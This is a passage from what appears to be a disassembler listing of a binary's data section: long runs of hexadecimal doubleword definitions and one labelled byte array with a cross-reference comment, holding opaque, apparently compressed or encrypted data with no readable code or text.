0FB512ADAh, 0C8A44D98h dd 70C536C7h, 59B8CC6Bh, 3BB1FC0Ch, 139C02Ch, 0C3E513DFh dd 92B0EBDAh, 48121730h, 6E31D037h, 400584FBh, 0ED474EC8h dd 96019EE6h, 5E382515h, 707078A9h, 49503B3h, 0CDE2F666h dd 600B9A89h, 3500EBD8h, 11AAD95Ah, 0C5DBAAEh, 7F26EC7h dd 25006A69h, 3146304h, 0D99F92h, 0CBA8500Fh, 3A5C8593h dd 6468BF00h, 456EC3C4h, 1EC94F9h, 12A713D3h, 0E67DE062h dd 1808BB50h, 0CB0F0E78h, 0C284C289h, 40A67E74h, 0E039DEC0h dd 354E0290h, 673426D3h, 1031864h, 0DBDEC96Bh, 0EE980EF2h dd 0A4D4BF65h, 6DC08855h, 40885DA7h, 0D604E888h, 24C6C55Eh dd 0C4545C19h, 0C846FC4Dh, 611C4524h, 36C6965Ah, 1DA40158h dd 95AE37E4h, 80484CC3h, 994AEE20h, 0E8FDBCD2h, 802CC7BCh dd 78D7BAB3h, 86F04CE1h, 9A28C7FAh, 0D30B838Fh, 6802D7C3h dd 0E950C61Ch, 46804214h, 54942E04h, 68FB6154h, 0A8AB60D7h dd 2858C63Ch, 542808C0h, 0FD016C93h, 0F1CAA9D2h, 5074DF65h dd 36BD0057h, 0C9FE15ADh, 2A003A1Bh, 0A1B8DDF9h, 590C202h dd 0C6B239BAh, 6C30C05Fh, 6A07ED3Bh, 84D9E63Ah, 48C363E5h dd 44268281h, 8A661884h, 0C75660BDh, 9E005E73h, 0DC38CCE5h dd 57E26E4h, 0F150258Fh, 1CBEC0F7h, 68A18B54h, 5DC86091h dd 5402404Ah, 0C09068D3h, 0C8677FD8h, 0DA04B2C8h, 88524F7h dd 66BB98C0h, 1D5D13CBh, 0F200083h, 0CDDF7DAEh, 4DC4CE59h dd 973C4D1Ch, 42B82404h, 1C20ACE5h, 0FFDF1901h, 0F180D196h dd 48042A48h, 3C863290h, 52FD4B68h, 0F07C40A4h, 45E0312h dd 24D4F351h, 5433DE84h, 1ACA811Ah, 10B7FBD8h, 0D8EBC402h dd 536F1C00h, 99D03ECFh, 3A15B201h, 8A2BCCD3h, 0E4401A98h dd 0C0081B17h, 9DE0683h, 0D2405944h, 90656F14h, 0F0C0F347h dd 8DDF171Ch, 6C047E4Bh, 191F743Dh, 1585100Eh, 18A31800h dd 146C62Dh, 6F1AFD3Dh, 0E19582CEh, 0E7084055h, 0D9609E65h dd 845E01B0h, 0A480D523h, 0BCF35D0Ch, 94019310h, 0D8C1E603h dd 0F242C6ABh, 59B050DCh, 0D2896845h, 0DAD08418h, 7DF450FBh dd 8500AE68h, 3B4BD8Bh, 77A30A3h, 231D0F62h, 95F31029h dd 6A2565BBh, 20080A12h, 85C9942Ch, 9041010Fh, 7965FDBDh dd 0B1C16C2Ch, 400D7DDAh, 0CE8CFEB0h, 0E5515912h, 0CC070C52h dd 0BFC29A05h, 28647B2Ch, 1D22060Ch, 76066981h, 29C099Dh dd 11B3040h, 0E0C79E36h, 0F9D499B3h, 0CA320120h, 46167BA0h dd 60507DCh, 0CFD364B3h, 10168844h, 16099124h, 66B00113h dd 0C36AF688h, 6010D0D2h, 972406F3h, 98502E08h, 12F2F87Fh dd 6B1FD08h, 6CD83203h, 16259440h, 90B44680h, 51EC2078h dd 21040979h, 86BFF362h, 3D0FCF4h, 0E084F520h, 8185AFA5h dd 284E6EA8h, 0FE3AB058h, 147F5AD7h, 2C2904A0h, 72426F0h dd 504073CBh, 0A3D339C5h, 0A6988FF1h, 6902209Bh, 0F73BB6B5h dd 389F182Ah, 6673C2CDh, 0F799516h, 0DC376016h, 81D4E3C1h dd 0D903102Ch, 0A66045DDh, 70E7BC89h, 120F3571h, 8274ABh dd 3A96EA77h, 236A0202h, 0C51FB65Eh, 5D10CC44h, 20044B2h dd 0D9E772C0h, 2701AD85h, 5E9B34F0h, 0A8202824h, 6E680C33h dd 2DA03BCDh, 0F370AB01h, 0FE887B5Ah, 2DEDD474h, 741095DEh dd 80E09C57h, 4B3F91Ch, 290EC981h, 19705DA6h, 0FB78C024h dd 0D5A31C67h, 0F4AED026h, 6473BD07h, 0EE470C0h, 45FE00ACh dd 9FF5D3Dh, 0C8927B8Fh, 65E80880h, 70A0C94Ah, 15E273Bh dd 6E7B9C40h, 0BB1D377Fh, 0CCFE4002h, 0D9BE3F1Ch, 0DACC00C4h dd 45A1B6B0h, 5BC57799h, 13E80482h, 88DC8404h, 8C068090h dd 0F38DD363h, 0BA740210h, 0F0EC07B1h, 4641FB81h, 0A4E9F051h dd 89029800h, 0B7D5A2DCh, 1680FC86h, 451F6066h, 0C0D840A4h dd 9FFB852Fh, 13EF2A0Ah, 1D00E0FDh, 0FCC6DE70h, 0F56E278Fh dd 82CFAC00h, 0B80C0267h, 0A02CB5DAh, 9C96173Ch, 0C8B40BD0h dd 42D41869h, 88408458h, 0E92D65E6h byte_4E414C db 90h ; DATA XREF: ___:off_43A190o db 92h, 0FCh, 0B0h dd 2A315DE0h, 1DC0C864h, 0CF6C914Ah, 6A0927AEh, 5C31F0C4h dd 73193196h, 0ED9430h, 0C7BE413Bh, 0B35446B2h, 84BA0C00h dd 9833C3FBh, 4D6EEC8h, 6E65E56Dh, 19D48CF7h, 4E811094h dd 0FB65EB44h, 0EC305038h, 859DC471h, 0B80350B8h, 86F11408h dd 6820F293h, 305E2F9Ch, 0E5E8A773h, 0DF726D8Dh, 28B9CA78h dd 0B1502B03h, 7792D036h, 24A0E638h, 3B656h, 0D47507C2h dd 2114C6A7h, 130869FBh, 0BCC8CCFDh, 200892FEh, 989346F9h dd 663C9825h, 0C55206A6h, 108B4E7Bh, 6CB8F155h, 0CEE0783Ch dd 4DD510C0h, 0E8D6888Bh, 408F06FDh, 891CD59h, 6E10F105h dd 0E41EA80Ah, 4E5A22CCh, 0B86F51D1h, 4E31D473h, 81586A59h dd 0E570AE78h, 3CFD8AFDh, 8B40093Fh, 0C840BF0Fh, 0D334C61Bh dd 0D8D4C932h, 81DC763Ah, 83DF5DC5h, 241420D1h, 5BD0BC61h dd 0F0EA2F6Dh, 0A5CF03A4h, 668176F1h, 3826179Bh, 0A927EADEh dd 0D394607Ch, 58A06406h, 2ED4B60Eh, 982D34E2h, 245DFDC8h dd 0A43C5CE6h, 238C0094h, 2CDF137h, 8D0B1790h, 4053EA0Ah dd 0CEE25400h, 6AA00C38h, 45741802h, 67DA4100h, 5E9763D9h dd 0F9BC63CDh, 6FC13878h, 1C1089BDh, 0C00CE9A6h, 4D4CC12Eh dd 4CF46141h, 3D40F070h, 34016BD0h, 867FAD00h, 18481BD8h dd 0FF2309CCh, 0D5AC8193h, 0B0627B54h, 0A4207D89h, 0AB1865E3h dd 74B68C9h, 0A9F6E774h, 3CD8F979h, 3EF00290h, 95C8EDACh dd 6E24400Bh, 0E848FBh, 1D8E4F76h, 0E09125C0h, 80E20454h dd 0D0476E82h, 0B22ED884h, 0FE8D0E80h, 0EC82D6CCh, 0B1B480B9h dd 316EA1BAh, 6568A62Ch, 1948C8BCh, 368F50C0h, 28385FBh dd 0EDC81297h, 50A02F96h, 0AC812958h, 9D25F41Ch, 0AE54450Eh dd 9AB300B1h, 1E63876h, 5C0CE1BCh, 0E186FE21h, 160840D4h dd 7E263D4Ch, 8B014CB0h, 8D97A9B3h, 0FFC8C085h, 703450FEh dd 1B06653Dh, 0D97FDF30h, 0CB1CB0B2h, 906E9BDAh, 41E26B80h dd 98B5ABDCh, 0F44A8E0h, 39EA206Eh, 0E66B909Ch, 0B8B22570h dd 20966444h, 0DBC1FB60h, 0B38D2688h, 16084814h, 3A801FDh dd 34BA446Eh, 0E975D9BCh, 120737EEh, 0F854DF3Bh, 40E7B2E0h dd 7D04306Eh, 0FE2DBC89h, 193DDC00h, 0ABBE5D46h, 0FB750336h dd 1FD54A74h, 0E456C688h, 63DAA900h, 4EAE158Fh, 0C0B20F37h dd 0CA87EB99h, 0ED25C0A3h, 0D0AA1C1Ah, 2E1EC880h, 0AC2E8C50h dd 0F240F095h, 26DF6845h, 0B190181Ch, 0FC4729F0h, 7200941Ah dd 8822466Ah, 98D718EBh, 7EF50190h, 0DC6DF06Bh, 0A560B88Ah dd 0F9DC83B8h, 0E6481742h, 90A04B45h, 604284E2h, 30015DC3h dd 0AE1207B8h, 1C30495Bh, 0AC8891D5h, 1748A4D4h, 0ACC4491Bh dd 8403AC85h, 28F03189h, 25208477h, 0DCA42FC8h, 786E4159h dd 1BC20054h, 0E55DC646h, 73FB806Dh, 0E9D5081Ch, 0F95C9CBEh dd 7B699380h, 9A296E7Ah, 0BACA00B0h, 8B7A9D2h, 36050D1Eh dd 0F2646644h, 4A48548Ch, 12348BA4h, 0BCD07F80h, 902AB45Dh dd 905A1BFCh, 3804D106h, 0DF35A3B3h, 0EAEA7CE4h, 4D273868h dd 0E1659E12h, 0E108042Ch, 86786990h, 3770C7C1h, 7008ED14h dd 7762CBC5h, 3E24544Ch, 21FE1215h, 0C030053h, 2EB9656Eh dd 1E52CE0h, 0EEB9EA4h, 93FE70EDh, 8ECEDA00h, 1F5BAD83h dd 0CF8A0B46h, 544447EBh, 0DC1FFF4Eh, 2B03AB90h, 0A74F3F95h dd 8C0C382h, 730915BDh, 0ECA690F0h, 127472F8h, 0B0CC53DFh dd 2F40D0D0h, 51397012h, 302B1496h, 0A404B36Ch, 8B9CF700h dd 0D36168BEh, 148BC75h, 0F0DD7CFEh, 50286710h, 0F6741644h dd 0EB65309h, 3C3C04D6h, 0A47ECE04h, 4E241290h, 1127E442h dd 0FD085A60h, 4A28490h, 0C8068C48h, 81F53A06h, 2EB17246h dd 0AC7CF86Eh, 0A3660551h, 4864F09Ch, 6E087E0Bh, 0CAF0C039h dd 0CA29570h, 0C80BD98Ah, 8225759Ch, 50B03C44h, 0D5F9DE00h dd 7DE49C90h, 5932038Ch, 0C965BF57h, 445C0892h, 0AD584500h dd 90BE5E16h, 0FEB70144h, 26041BBFh, 0E612CCD7h, 8E4777Ah dd 6E45F715h, 0B5DE84B4h, 41DC58B4h, 91CCC497h, 0CCB60DF0h dd 6F472C01h, 18644629h, 5AD27965h, 49C467DCh, 0B6585C52h dd 4BEA8428h, 5D84CCB8h, 0A1024080h, 1ED0E75Ch, 80594569h dd 78658374h, 67165010h, 8A018C02h, 249789D5h, 0F0986CE0h dd 0ED7409CDh, 68988A82h, 2125456h, 35094266h, 7830E645h dd 0B16B00F1h, 0BADE3CEBh, 0B600DF23h, 0C139E75Dh, 4ABB96CCh dd 7F0480A6h, 35F488D6h, 1CD0FE12h, 88902874h, 5C7CF7A2h dd 9018C882h, 3A46084Ah, 3BE80709h, 6C8C80DAh, 304350DBh dd 9B5860C6h, 0BF005BD9h, 15C0E59Dh, 0A21B96C2h, 0C5A8689Ah dd 3FD31969h, 68A614C3h, 17F4578Ch, 880BC27Bh, 0F068D0FEh dd 2C89892h, 0C679D2E7h, 80D0D7DAh, 0F8A269F6h, 56170059h dd 1D00F0h, 2BB10F1Ch, 0D619729Eh, 0C5EA2504h, 18E88B08h dd 0BABAB61Fh, 6126E4D2h, 0F0996434h, 0B95BFEACh, 0EC03F00Bh dd 3A689148h, 127E2491h, 1022C3FBh, 0D248633Fh, 0C4904BEFh dd 0BFE250A0h, 65FD1480h, 0ED17196Dh, 283442DBh, 0E53DC8F3h dd 0D1830F13h, 93F7F2A0h, 0EC1FC169h, 0AE6E7B03h, 40405C60h dd 50582C78h, 4EBD80ACh, 7E59799Dh, 0AD7B9000h, 0A95E170Fh dd 261C914Dh, 85EC1388h, 5C4CCBD0h, 4C104A38h, 0F84B8C70h dd 0FA17784h, 0DB2211E6h, 25A63080h, 6E0B01CFh, 0C8FEE499h dd 16C939B8h, 446A65EBh, 0B821C528h, 0A3FF50D8h, 28C76E1Ah dd 91071B8h, 0AC01F37Bh, 81ADB8D3h, 0C9B94778h, 133A27DAh dd 2EB00274h, 8098FEB1h, 0CA8020B4h, 9CAB5090h, 0C84F2085h dd 0A1686C00h, 1A6DF453h, 82C9804Eh, 5E7B02F6h, 0BC14E25Ah dd 20F847A4h, 43A075FCh, 1682121h, 0AE5E72DBh, 63E460F9h dd 1118F760h, 331C6723h, 0B88A1B5h, 0BFBA5007h, 0B80C346Eh dd 7D92582Fh, 75DAA50Bh, 1B006CF0h, 512B5DFh, 1D1C3FC5h dd 57AD16h, 9A7D4F11h, 0C802DF70h, 666E191Bh, 84F8AA46h dd 0C4571562h, 0CE9D0528h, 0A16C3A1Ch, 0F45CC6A4h, 0C44F6F8Bh dd 0B24EF038h, 0E35A54h, 412F118h, 0E2030AB6h, 68351DAh dd 90EBBF6Eh, 0EE6A168h, 0BB743233h, 8813D0A0h, 461675C1h dd 0B700C9AFh, 0F68CE095h, 0D55C0045h, 0D3814340h, 90A8FED8h dd 8D123BEDh, 0B4560C23h, 0E835CC5h, 35C03BF5h, 0E861F9ADh dd 147C701Eh, 3C243CB0h, 202806Eh, 0D9B2D5DFh, 182B2DA0h dd 4C51DC62h, 6E6C814Bh, 212B19E0h, 63DD0170h, 71C01258h dd 3C24B002h, 0EB886018h, 3693A9Eh, 0DAB8DC09h, 41C35C18h dd 484C3C96h, 0DF9D07CCh, 490803DEh, 0C5008029h, 5B7A65A5h dd 303CB8C0h, 1D8740DDh, 0AF57D378h, 3D6EE801h, 0DA602424h dd 0C94A54Dh, 0C06150E7h, 2D9D246Dh, 8BD3E194h, 3828ACAEh dd 0AF6B540Fh, 0B7012386h, 1679E099h, 40849636h, 0E3FE8893h dd 0B8B0266Eh, 5B9AEDA0h, 3C60205Ch, 130011DFh, 7DE8D083h dd 9991A74h, 885DCD89h, 0E36C8755h, 34A400CBh, 3C53A490h dd 0FD077E63h, 40C8E775h, 57C61674h, 2065E40Ch, 1439C086h dd 0D814045Eh, 8C77DECFh, 43265DC0h, 0C953A8ECh, 222EE38Ch dd 0E8901D24h, 5000D5E5h, 0A6561CF7h, 2F555E80h, 0A494C5DAh dd 49EEFC20h, 932970E6h, 748808F8h, 9F3C3305h, 0BB0138C1h dd 43FB5E10h, 820BA57Fh, 9E7FE87h, 3CE4707Dh, 1C5D6E1Bh dd 49149D2Eh, 0E6102C78h, 287902C0h, 50588B7Eh, 2901B8E3h dd 80C036E4h, 90925F5Bh dd 0BC625E03h, 0E09610C1h, 2E7F0218h, 324F59Bh, 4D82757h dd 663951E0h, 58FE9130h, 0B87A14C7h, 0B8EF6132h, 6280DB6Dh dd 11444004h, 2BAF6E10h, 7162CE3Ch, 4624650h, 879FF471h dd 1827D20Dh, 9016C021h, 0FC8C20F0h, 0AAE7CE01h, 2CA6726h dd 8C24DDD1h, 0D0BE4EE5h, 235B11F4h, 8476D325h, 90D18488h dd 0E0301AFCh, 4EC5251Bh, 364CF466h, 0DF1B0BCh, 1185055Ah dd 0C75FB032h, 0F0D0E317h, 375E8FA0h, 75DCD24Dh, 47B5E600h dd 7D4886C8h, 0BB8C007Eh, 25D742F7h, 460103A1h, 0D9FAEA60h dd 4C59AC9h, 95373C34h, 3404FC0Bh, 3E88A680h, 5E418E89h dd 0C9C84975h, 0C2C0CDB8h, 2EFF25C9h, 2A2D6C44h, 3D7C0059h dd 0EE95FDEAh, 0CBE5C02h, 7DACE0D3h, 0F2C2C741h, 965C0308h dd 4D9DBD2Dh, 0CAF5C9C3h, 0B1D3098Ch, 862827A4h, 0C1E62BA2h dd 24F863D1h, 5892C6h, 0A7B98221h, 0CB68C2ADh, 3BD0E501h dd 468FAA0Ah, 0F5E25EF4h, 16E35080h, 0F646D45h, 0CBFF3600h dd 0DE5E9046h, 3440BCB6h, 735C0840h, 69972A0Ch, 64CA860h dd 43F094ADh, 0ABE867FBh, 9CB6DA8Dh, 4808BF14h, 133E7E44h dd 4A4EFF64h, 71E758A0h, 4D58C9B4h, 987AAC09h, 66D1BD13h dd 7D1CC8B4h, 0E627436h, 0D325DF06h, 861E6D02h, 5E18C06Ch dd 0ECC0D679h, 8D6906E6h, 0BE37E4C8h, 0C0F44CABh, 0F096CE3Ch dd 2861BA00h, 0E3CF8BFEh, 5C852865h, 0F04061E0h, 0D831901Bh dd 0D760A4E7h, 3A5D9BA1h, 48DF7C12h, 9C011842h, 33771C8Bh dd 14042E69h, 1EFC666h, 814184A4h, 67B04325h, 859D04E1h dd 803D4B48h, 27D348E0h, 0DC8B96F6h, 0ED3524EEh, 54801160h dd 60106E66h, 91CF1054h, 7CBADF67h, 0A15E300Ch, 3C02E0EBh dd 0BB2C9868h, 0C1FB808Ch, 0BA10CE9Ch, 2831AE3Ch, 3050869h dd 0B4D2DAB2h, 5413B402h, 0B998CE63h, 3CEC0B8Ch, 0F76D9468h dd 924944Dh, 583165EEh, 84D55CE8h, 7833B022h, 78ADD85Dh dd 0A45825BEh, 0B0F090C4h, 0B67421C0h, 5357AC5Eh, 184C34C8h dd 0C4E8EB08h, 4FB8A114h, 0C08C4835h, 0AE5D1D9Ah, 5391D7B1h dd 500C18FCh, 6E388A93h, 14314A9Bh, 0E43D354Ch, 9C44CA27h dd 0D8E1E088h, 0C1F8139Fh, 0C205AD4h, 9CE45937h, 24C36D0Bh dd 25764880h, 1C7461EDh, 0C938E2B5h, 0FC437A54h, 70F82A0Bh dd 889A00F0h, 0FDE97C91h, 0C67C19D5h, 35A4D317h, 0D437B0C2h dd 577CC3E0h, 0D0467830h, 6312E4h, 73CA39E7h, 4A90E23Ah dd 3389FB03h, 0B70AECh, 0BA6CC111h, 5CC63DB4h, 5D4C01B7h dd 60335BEBh, 0FD259059h, 0AB584B8h, 0A6812494h, 2FCCE8Dh dd 94400C3Ch, 0D4C459B2h, 280EFA18h, 0CD1D9DBBh, 948E02A5h dd 0D54DC012h, 4DDDDF5Dh, 0FE3CB08Dh, 0C858300Bh, 0FD027073h dd 71E7AEDEh, 81123C3Ch, 101CE37Fh, 8B0F1DFBh, 0BF0B6E87h dd 46FE4085h, 119D5BE4h, 3265D312h, 6231BC43h, 72DEB0BFh dd 0A7021637h, 7CDF00A4h, 0FFAD7E9Ah, 0C3EBA82Eh, 0DB928F05h dd 3420DCE5h, 0A59A1E03h, 5B42679h, 80203B15h, 0A368CB4Ch dd 7DF52B03h, 0B84DAB96h, 0BC3D5DA8h, 6C0202B4h, 20E09EECh dd 4D80CEE3h, 176112A4h, 942CF2FEh, 5CC82274h, 0F01944Dh dd 35EB284Eh, 0C51980ACh, 0FED5B36Dh, 0CEBCA8CFh, 0DEFB2CDAh dd 888C9704h, 795CFEB8h, 0DB0400CCh, 668D68CDh, 88D261FAh dd 2BD341B5h, 48AE5092h, 0D6D5C8C8h, 0DAF40211h, 54426D4Fh dd 8B860C0h, 74DD0345h, 0ADD034h, 0FEED8F56h, 0D9028316h dd 0D7AA6212h, 5A48F8B0h, 0B59C42DCh, 4C609DBAh, 68BA1110h dd 36502804h, 0C0E2D2B9h, 0C8C2E785h, 9FF866ACh, 0D3102195h dd 4824A2A1h, 0FF88FE8Ch, 44904F2Fh, 0C6900012h, 29C3FB53h dd 23D9413h, 30AAF80Fh, 4B65E709h, 4C0704F0h, 0D202E94Fh dd 0B2E2F870h, 98504C5Dh, 50C4C450h, 11805Fh, 0BD866722h dd 0A6292E9Eh, 7B7AAC7Ch, 499A0200h, 0C2C01D05h, 79BF0766h dd 30E5CE77h, 555A7887h, 677E3100h, 1716F0FDh, 0D920205Eh dd 6CA6D49Ch, 1513DD10h, 3B80C039h, 6509A0FEh, 5181A59Dh dd 200C2028h, 0BEA442h, 9A9B1889h, 0ED84C50h, 0F9E7C0E5h dd 79F8887Bh, 0F10907BCh, 0A02DDACCh, 6272BEC0h, 0BBA132FBh dd 0AC601A24h, 21FCC228h, 6E697B04h, 41BF1738h, 9E596800h dd 3338201Bh, 5E65C512h, 71012C49h, 0C212B908h, 411453A6h dd 0DF7F0BFCh, 0C7BC8D6h, 90BE7CB0h, 4AA0B342h, 0EF987EBCh dd 20C80036h, 0E45DA3C3h, 13DD4BCh, 0D351D66Dh, 0D440601Ch dd 90427265h, 43089400h, 0CCE1C29Dh, 5DE6E005h, 0F49F5327h dd 0F2840748h, 0E9B40F7h, 0F81F7AB3h, 220CDD29h, 0F258C85Dh dd 17D70030h, 0F34BAA67h, 80E44E52h, 565FEA00h, 12BADC9Ch dd 0A8880160h, 0CAE77186h, 1A0C4EEh, 9CF89Fh, 0F915545Dh dd 0E09CB29Eh, 84B2F28h, 37273598h, 9D20FCE2h, 7AB5039Bh dd 880062EDh, 0A5664BF7h, 61C34DBFh, 3CC550B3h, 1330801Ah dd 0BD63EA88h, 664131BFh, 0BE3A3908h, 37516090h, 0CBD413C6h dd 0B88011F0h, 0CEF41FDEh, 5033B530h, 1D03865Ch, 0CEAC516h dd 0CEB82CC0h, 20CAE130h, 0C926FD3h, 2E54C6BCh, 9F001B78h dd 811A3309h, 0DF95A367h, 0F0790F28h, 5056B879h, 0AE199F68h dd 0B511E400h, 0EC011A9Ah, 0BF6E06EDh, 3043237Ah, 0C6B09C06h dd 148E75Ah, 35A7CCEFh, 0FDCEEEE3h, 5F608025h, 96C9F7Eh dd 498418B5h, 75D2A90Ah, 0EE59A00h, 453BFA8Ch, 234F03E9h dd 0D8C4EF49h, 0E8F77AC8h, 0B70090DDh, 0CF37B501h, 58326216h dd 0A081AD63h, 9FC2EF45h, 9C01980h, 3AF27766h, 0CEB7039Ah dd 59E741E4h, 0D16C0295h, 786384EFh, 0E9719AC0h, 6EEBB404h dd 308896BDh, 17A4A11Eh, 1A399840h, 1831E8A7h, 0F85D617Ah dd 5E00C592h, 7C3BA580h, 0C366F208h, 0E947B1E0h, 9EC0F4DBh dd 0F171FDA7h, 86B47918h, 14CFCC38h, 0B417A3C6h, 9D70373h dd 3ABFB568h, 0E9A005C3h, 0F7614AC5h, 0A26780D1h, 497AD44Ch dd 3C1880E4h, 0C969C0C1h, 2249501h, 0CF944801h, 0BC108271h dd 50DC9F55h, 7C7480BCh, 7191052h, 0C0813ED4h, 3EF7E212h dd 38F4B203h, 1112FA24h, 6E442087h, 8414B4E1h, 1DC35E3h dd 0A4EECB16h, 0E1F73BD7h, 188367ACh, 367C5E43h, 0EBDDB412h dd 0EE2E00EFh, 2653DE0Fh, 5F58EA64h, 12300025h, 0E4060186h dd 84CEC50Ch, 31B8A3h, 8E2C714Eh, 0C4DB1C9Ah, 1640E207h dd 0E594565Eh, 0D4C39200h, 0CB795C6Eh, 0C059E600h, 66A3A0E8h dd 0CDB700A2h, 9091F216h, 8A0CA67h, 8091CF1Bh, 0F454E1C0h dd 0CDD00252h, 0B3E4C62Eh, 9BFC0A0h, 0CCA19560h, 9D02639h dd 22ABCA4Dh, 33E30ECh, 3040AF1Bh, 0CC0066BCh, 0EF9BAD31h dd 17193B1h, 6EEEB519h, 415E12C0h, 40A06624h, 5A9AE344h dd 0F6280178h, 0F709BC74h, 2C2204CEh, 90708878h, 0F29A3884h dd 38842C05h, 0A1E401C0h, 0C8890B69h, 6700545Eh, 0C4A5B2CEh dd 18EC38BFh, 70DFD01Ch, 0A73644E5h, 0A4B0E1FFh, 58674C3Ch dd 95A16805h, 1BD80A2Ah, 1A430980h, 52C68401h, 0C4388999h dd 0F78C03B7h, 79881326h, 1C7C4E0Ch, 0E1E4F960h, 8905DE0Dh dd 12012226h, 9E68FC30h, 3988F795h, 0F51F0C7Ch, 1C92C601h dd 0A980E1D2h, 0CEBFCD65h, 10C0B517h, 0B0EE2C99h, 92D60B3Ah dd 0C400D4BBh, 87EC3CABh, 0F19E61E7h, 8445C494h, 4C7CE424h dd 0F72E4B03h, 0A336A3F9h, 3233C3F0h, 0E89912B8h, 0E73B802Fh dd 0C1682184h, 5EC64438h dd 47EC4036h, 0D5380E01h, 76CE8BECh, 551024A0h, 0C11C18C8h dd 4D0DCB50h, 988EDA03h, 38A7E8E1h, 66DC4106h, 30E423C9h dd 70F479BAh, 1EB400F9h, 6991E1AAh, 5713603Fh, 0BC016C9Dh dd 0F7010A26h, 82190FDh, 48368020h, 2E0C8473h, 9C819D4Ah dd 24ACB360h, 600EC6CBh, 8511B813h, 0E73F5894h, 7AB605FEh dd 0B8003F6Dh, 0C173D01Bh, 0ECF2670h, 7D5E8AC4h, 5241368h dd 90167AF8h, 0E3CF5CACh, 9D55E203h, 0EAD86EB4h, 0F1BCC1AEh dd 5EC8318Bh, 401ED019h, 9C719E4h, 917C9A50h, 94718526h dd 0C26EF004h, 9966A898h, 38179874h, 0AF671839h, 351F7A08h dd 10AA24B4h, 8450214Eh, 0D84014DEh, 99FA9Eh, 0AA94F98Ah dd 0C1F0D4A4h, 5E3F6312h, 65F6ED00h, 0F0A69C96h, 8408A07Ah dd 50F569DFh, 0DC0574A9h, 134409A1h, 0C5658482h, 0C7704440h dd 92183A80h, 21146A80h, 96360C9Ch, 3F0BE0AEh, 2021447Ah dd 0F938C390h, 102C6413h, 48AC8224h, 84186464h, 0A6C02B6Fh dd 40975CC6h, 833FA800h, 0F66A0E39h, 0EAAC6E01h, 6A6A3F1h dd 2EC664F0h, 0A10CCF03h, 0D0CE84A0h, 1C4204C0h, 1A2D4080h dd 664E127Bh, 0AA85605h, 4EA0A234h, 6D048E81h, 0FE2DF0ECh dd 9CA7BB01h, 8095C6CDh, 1CE96083h, 3BE024D5h, 7A1832F7h dd 0C8C9077Ch, 803D72C6h, 0A4B065B9h, 0A4A064A4h, 188141BAh dd 284B6434h, 20A49D68h, 0A898B544h, 0C0DD9330h, 0A06840F5h dd 146638B4h, 54A91C74h, 2C52C458h, 1C74222Ch, 0C6A787EDh dd 9E676094h, 4B00CF8Eh, 0D9CD825Eh, 4963C243h, 3448A0E5h dd 2B401326h, 0C834A4D8h, 9A4B008Ch, 0B6CEF6C7h, 66D08150h dd 0A6036E11h, 50096476h, 54DB23EAh, 87F81CB0h, 0CE70EC2Ch dd 280C6034h, 54F07A36h, 0F007A8A2h, 0EEDBC008h, 0D7403144h dd 1349019h, 0BBBD3E98h, 70661224h, 0F0099BEh, 0AF63C867h dd 3C87F0F6h, 9230696Eh, 0E4D49848h, 88C6321Eh, 84E00CA0h dd 99C80C41h, 0DB43E603h, 0C1E9C015h, 0A47168BEh, 19946008h dd 1148CEA4h, 56749937h, 0C04526A8h, 1650CC83h, 1170F310h dd 7909FC6Ch, 10286507h, 22F813BCh, 68C9EF50h, 94A0431Ch dd 0AC1B692Eh, 0C2CC5E14h, 0E6ECB803h, 4DF0003Ch, 4E1AA540h dd 882E623Ah, 731D042Bh, 8E96EB8Bh, 0E9978010h, 0A79661Fh dd 7287CEF8h, 290A01E0h, 60EC7CB9h, 5746EF0h, 0A666E800h dd 0E0F3F99Eh, 0ED840751h, 0A0C5525Dh, 0AD9CFB31h, 1EEA3600h dd 6579DFA6h, 68E9C083h, 5C8495CCh, 48A45051h, 313E3C68h dd 12DB18F0h, 0C66618h, 5C97C545h, 9E3F68C2h, 5C4765Ch dd 571F7AB2h, 44AB9492h, 160F4040h, 0CE1F3090h, 77FC0111h dd 0A270DC40h, 0F67C4C9Ch, 10F94954h, 47F4E282h, 2B5E3CC0h dd 0D1F00600h, 0B4D5C066h, 10E84801h, 0A41850h, 1202A1E6h dd 0E0BFEC8Eh, 390F1C05h, 44989FB5h, 14042AF8h, 186C98E4h dd 100E4C7Ah, 1E728654h, 0AE1E0A7Fh, 0B6C06C88h, 6BA98C12h dd 0CF7A09E1h, 44A028A6h, 0B7EB013Eh, 4BF1021Eh, 80C2E28Eh dd 0DC1CF723h, 0E0C44866h, 0BD16CB08h, 8C698700h, 748B9243h dd 0B8961844h, 0CF731041h, 6C009E4Ah, 7728999Ah, 8DC20027h dd 0F563DE44h, 1C2EBC6Eh, 0CE42C0B7h, 65D0E990h, 669ED442h dd 57C7228h, 9CDCC344h, 0B98C4B0h, 0C8B1F408h, 0C6508517h dd 0A882378Fh, 84071F8h, 6609EAAAh, 8AFC19A4h, 96CD63ECh dd 0E0CE41ECh, 352080DFh, 0D0139392h, 24D1C01h, 49D3D7C6h dd 0BC8F23FCh, 0F613FEC8h, 3E13443h, 68692E3Dh, 6D840420h dd 0BF48D071h, 0A0B15D12h, 0AFC99F90h, 0AD062C68h, 41D17A14h dd 0E9A01AE0h, 0CCCC4931h, 0E8C382E3h, 80CB72F0h, 43025D11h dd 0CEE7100Dh, 94BCA063h, 0C28E4D1h, 715CBA3Eh, 0C7308440h dd 337B50F8h, 0CD824F9h, 794E631Ch, 20EF21D1h, 9A054A78h dd 0BCC64D5Bh, 791BA44Ch, 89D5520h, 2D1AE010h, 446B24F0h dd 813E9284h, 89536DCh, 25583079h, 0D09DEB70h, 30CDA400h dd 2484690Ah, 621A04A9h, 0E08D76CFh, 0FC9B5934h, 0CE04CCACh dd 5E12A414h, 0EBF30CE8h, 0F478C111h, 0C2EEC20h, 58627A3Bh dd 7EB0FA70h, 80B24870h, 64438909h, 50D04AC5h, 0F6E700C8h dd 84EC3C38h, 0DCA05F36h, 0E90A3135h, 0E4461C03h, 54139CA6h dd 97FC88h, 0F3F5AE8Fh, 0E4C85CDAh, 0EE7D5100h, 0D01C6BD3h dd 7BDB2EF1h, 6080396Ch, 0A0C20EA4h, 5D3B1986h, 0E6AD85E8h dd 8008758h, 0CEF5EEC5h, 881E4806h, 0E1DC0BDEh, 0C4401892h dd 0CA40EC45h, 6010C119h, 976E9F7Dh, 1C30F0D0h, 99D1BCC5h dd 0EAC68640h, 0D20910BEh, 9260F284h, 967CEE90h, 8FC26D0h dd 0FA07E72Bh, 0D04A25CEh, 777DC606h, 9B0B128h, 0BC0503E8h dd 249C8110h, 7BDD000Fh, 5FD1011Ch, 67E8FBC0h, 0C6067BDh dd 60C26279h, 0C4E600F6h, 86F73296h, 3776F897h, 74204E4Ah dd 16923AD0h, 